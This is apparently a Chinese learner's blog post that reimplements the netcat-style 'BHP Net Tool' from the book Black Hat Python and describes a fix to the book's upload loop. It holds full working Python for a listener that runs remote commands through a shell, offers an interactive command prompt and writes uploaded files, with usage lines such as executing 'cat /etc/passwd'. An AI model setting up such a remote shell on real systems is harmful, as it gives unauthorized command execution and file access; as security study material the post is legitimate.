这几天再看python黑帽,顺手把上面的代码实现一遍。分享下心得了~
大致的代码和书上的一样,不过书上的代码有点问题。我折腾了很久,在client_handler的if len(upload_destination)函数中如果使用书上的代码,会发现它停留在while循环里面出不来了,所以我稍微改了下。但是遗憾的是,这个自制的netcat不能传文件,而且那个传输command的命令我也觉得很鸡肋,都能在服务器运行这个py文件了,干嘛还用在客户端输入command传过去。不过这个训练对我来说,倒是锻炼了我对TCP,Netcat等的认识,受益匪浅!import sys import socket import getopt import threading import subprocess listen = False command = False upload = False execute = '' target = '' upload_destination = '' port = 0 #提示信息 def usage(): print('BHP Net Tool') print('Usage: bhpnet.py -t target_host -p port') print('-l --listen - listen on [host]:[port] for incoming connections') print('-e --execute=file_to_run - execute the given file upon receiving a connection') print('-c --command - initialize a command shell') print('-u --upload=destination - upon receiving connection upload a file and write to [destination]') print('Examples:') print('bhpnet.py -t 192.168.0.1 -p 5555 -l -c') print('bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe') print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'") print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") sys.exit(0) #监听状态下操作,设置一个服务器 def server_loop(): global target,port #下面这句不知道什么意思,没有target设置一个target? if not len(target): target = '192.168.158.129' server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket,addr = server.accept() #开始一个处理客户端的线程 client_thread = threading.Thread(target = client_handler, args = (client_socket,)) client_thread.start() def run_command(command): #删除command后面的空格 command = command.rstrip() #在shell内运行并返回结果 try: output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell = True) #若用subprocess.call那么这里的output就是0而不是命令执行结果 except: output = 'Failed to execute command.\r\n' return output #实现文件上传、命令执行和shell命令 def client_handler(client_socket): global upload_destination,execute,command #检测上传文件,upload_destination不空说明是上传文件 if len(upload_destination): while True: file_buffer = client_socket.recv(1024) #把接收到的数据写入 try: print('opening') file_descriptor = open(upload_destination,'a') file_descriptor.write(file_buffer) print('written') file_descriptor.close() #向客户端报信已经成功写入了 client_socket.send('Successfully saved file to %s\r\n'%upload_destination) except: client_socket.send('Failed to write save file to %s\r\n'%upload_destination) #excute不空说明执行command if len(execute): output = run_command(execute) client_socket.send(output) #开命令行shell,和上面的有什么区别? if command: while True: client_socket.send('<BHP:#>') #接收文件直到发现换行符 cmd_buffer = '' while '\n' not in cmd_buffer: cmd_buffer += client_socket.recv(1024) response = run_command(cmd_buffer) #返回响应数据 client_socket.send(response) #非监听状态下的发送数据 def client_sender(buffer): global target,port client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: #连接到主机 print('start connecting...') client.connect((target,port)) print('connected!') if len(buffer): client.send(buffer) print('successfully sent out') while True: #现在等待数据传回来 recv_len = 1 response = '' print('waiting response') while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print(response) #等待更多输入 buffer = raw_input('') #kali上是python2.7 buffer += '\n' #发送出去 client.send(buffer) print('successfully sent out') except: print('[*] Exception! Exiting') client.close() def main(): global listen,port,execute,command,upload_destination,target #如果终端中运行时python **.py 后面没有参数则会提示正确的使用方法 if not len(sys.argv[1:]): usage() #读取命令行选项 try: opts,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','execute','target','port','command','upload']) #此处'hle:'为识别'-h'这样的短选项,相对比下h默认后面不带参数,e后面带有:则是说明它会带有参数,后面[]则是'--'的长选项 #而args中包含那些不含'-','--'的项 except getopt.GetoptError as err:#如果没有要匹配的参数,打印出error,然后给出提示 print(str(err)) usage() for o,a in opts: if o in ('-h','--help'): usage() elif o in ('-l','--listen'): listen = True elif o in ('-e','--execute'): execute = a elif o in ('-c','--command'): command = True elif o in ('-u','--upload'): upload_destination = a elif o in ('-t','--target'): target = a elif o in ('-p','--port'): port = int(a) else: assert False,'unhandled option' #判断进行监听还是单单发送数据 if (not listen) and (len(target)>0) and (port > 0): #从cmd中读取内存数据 #停止输入时按CTRL-D buffer = raw_input() #发送数据 client_sender(buffer) #开始监听并准备上传文件、执行命令 #放置一个反弹shell? if listen: print('The server is listening on %s:%d'%(target,port)) server_loop() main()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课